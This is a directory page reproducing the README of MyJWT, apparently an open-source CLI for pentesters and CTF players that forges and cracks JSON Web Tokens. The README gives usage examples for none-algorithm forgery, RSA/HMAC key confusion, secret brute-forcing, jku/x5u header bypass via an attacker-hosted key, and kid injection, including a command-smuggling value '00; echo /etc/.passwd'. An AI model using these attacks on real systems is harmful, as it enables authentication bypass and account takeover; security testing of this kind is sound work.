All Projects → mBouamama → MyJWT

mBouamama / MyJWT

Licence: MIT license
A cli for cracking, testing vulnerabilities on Json Web Token(JWT)

Programming Languages

python
139335 projects - #7 most used programming language
Makefile
30231 projects
Dockerfile
14818 projects

Projects that are alternatives of or similar to MyJWT

Jwtxploiter
A tool to test security of json web token
Stars: ✭ 130 (+41.3%)
Mutual labels:  jsonwebtoken, ctf, pentest
Hacker101 Ctf
Hacker101 CTF Writeup
Stars: ✭ 295 (+220.65%)
Mutual labels:  ctf, pentest
doubletap
A very loud but fast recon scan and pentest template creator for use in CTF's/OSCP/Hackthebox...
Stars: ✭ 23 (-75%)
Mutual labels:  ctf, pentest
Graphqlmap
GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
Stars: ✭ 434 (+371.74%)
Mutual labels:  ctf, pentest
haiti
🔑 Hash type identifier (CLI & lib)
Stars: ✭ 287 (+211.96%)
Mutual labels:  ctf, pentest
1earn
ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 3,715 (+3938.04%)
Mutual labels:  ctf, pentest
Awesome Privilege Escalation
A curated list of awesome privilege escalation
Stars: ✭ 413 (+348.91%)
Mutual labels:  ctf, pentest
Pentest Lab
Pentest Lab on OpenStack with Heat, Chef provisioning and Docker
Stars: ✭ 353 (+283.7%)
Mutual labels:  ctf, pentest
Spoilerwall
Spoilerwall introduces a brand new concept in the field of network hardening. Avoid being scanned by spoiling movies on all your ports!
Stars: ✭ 754 (+719.57%)
Mutual labels:  ctf, pentest
Snoop
Snoop — инструмент разведки на основе открытых данных (OSINT world)
Stars: ✭ 886 (+863.04%)
Mutual labels:  ctf, pentest
Sudo killer
A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo for linux privilege escalation.
Stars: ✭ 1,073 (+1066.3%)
Mutual labels:  ctf, pentest
Resources-for-Application-Security
Some good resources for getting started with application security
Stars: ✭ 97 (+5.43%)
Mutual labels:  ctf, websec
dontgo403
Tool to bypass 40X response codes.
Stars: ✭ 457 (+396.74%)
Mutual labels:  ctf, websec
spellbook
Framework for rapid development and reusable of security tools
Stars: ✭ 67 (-27.17%)
Mutual labels:  ctf, pentest
Pentest Env
Pentest environment deployer (kali linux + targets) using vagrant and chef.
Stars: ✭ 610 (+563.04%)
Mutual labels:  ctf, pentest
Ssrfmap
Automatic SSRF fuzzer and exploitation tool
Stars: ✭ 1,344 (+1360.87%)
Mutual labels:  ctf, pentest
Berserker
A list of useful payloads for Web Application Security and Pentest/CTF
Stars: ✭ 212 (+130.43%)
Mutual labels:  ctf, pentest
Elasticpypi
Serverless pypi
Stars: ✭ 186 (+102.17%)
Mutual labels:  pypi
Bandersnatch
A PyPI mirror client according to PEP 381 http://www.python.org/dev/peps/pep-0381/
Stars: ✭ 221 (+140.22%)
Mutual labels:  pypi
Fades
fades is a system that automatically handles the virtualenvs in the cases normally found when writing scripts and simple programs, and even helps to administer big projects.
Stars: ✭ 182 (+97.83%)
Mutual labels:  pypi

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introduction

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :)

Documentation

Documentation is available at http://myjwt.readthedocs.io

Table of Contents

Features

  • copy new jwt to clipboard
  • user Interface (thanks questionary)
  • color output
  • modify jwt (header/Payload)
  • None Vulnerability
  • RSA/HMAC confusion
  • Sign a jwt with key
  • Brute Force to guess key
  • crack jwt with regex to guess key
  • kid injection
  • Jku Bypass
  • X5u Bypass

Installation

To install myjwt, simply use pip:

pip install myjwt

To run mywt from a docker image, run:

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

To install myjwt on BlackArch:

pacman -S myjwt

Packaging status

Usage

$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -c, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

Modify JWT

Option Type Example help
--ful-payload JSON {"user": "admin"} New payload for your jwt.
-h, --add-header key=value user=admin Add a new key, value to your jwt header, if key is present old value will be replaced.
-p, --add-payload key=value user=admin Add a new key, value to your jwt payload, if key is present old value will be replaced.

Check Your JWT (HS alg)

Option Type Example help
--sign text mysecretkey Sign Your jwt with your key
--verify text mysecretkey Verify your key.

Exploit

Option Type Example help
-none, --none-vulnerability Nothing Check None Alg vulnerability.
--hmac PATH ./public.pem Check RS/HMAC Alg vulnerability, and sign your jwt with public key.
--bruteforce PATH ./wordlist/big.txt Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line)
--crack REGEX "[a-z]{4}" regex to iterate all string possibilities to guess the secret used to sign the token.
--kid text "00; echo /etc/.passwd" Kid Injection sql
--jku text MYPUBLICIP Jku Header to bypass authentication, use --file if you want to change your jwks file name, and --key if you want to use your own private pem
--x5u text MYPUBLICIP For jku or x5c Header, use --file if you want to change your jwks file name, and --key if you want to use your own private pem

Send your jwt

Option Type Example help
-u, --url url http://challenge01.root-me.org/web-serveur/ch59/admin Url to send your jwt.
-m, --method text POST Method use to send request to url.(Default: GET).
-d, --data key=value secret=MY_JWT Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt.
-c, --cookies key=value secret=MY_JWT Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt.

Other

Option Type Example help
--crt PATH ./public.crt For x5cHeader, force crt file
--key PATH ./private.pem For jku or x5c Header, force private key to your key file
--file text myfile For jku Header, force file name without .json extension
--print Nothing Print Decoded JWT
--help Nothing Show Helper message and exit.
--version Nothing Show Myjwt version

Examples

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability

CODE

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY

CODE

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH

CODE

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Full example here: 04-brute-force

Crack

CLI

myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE

CODE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION

Code

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

CLI

myjwt YOUR_JWT --jku YOUR_URL

Code

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 07-jku-bypass

X5U Vulnerability

CLI

myjwt YOUR_JWT --x5u YOUR_URL

Code

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 08-x5u-bypass

Download

Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest

Contribute

  • Fork this repository or clone it
  • Create a new branch (feature, hotfix, etc...)
  • Make necessary changes and commit those changes
  • Check lint with make lint
  • Check unit_test with make test
  • Send Pull Request I will check as Soon as Possible.

Change log

The log's become rather long. It moved to its own file.

See CHANGES.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].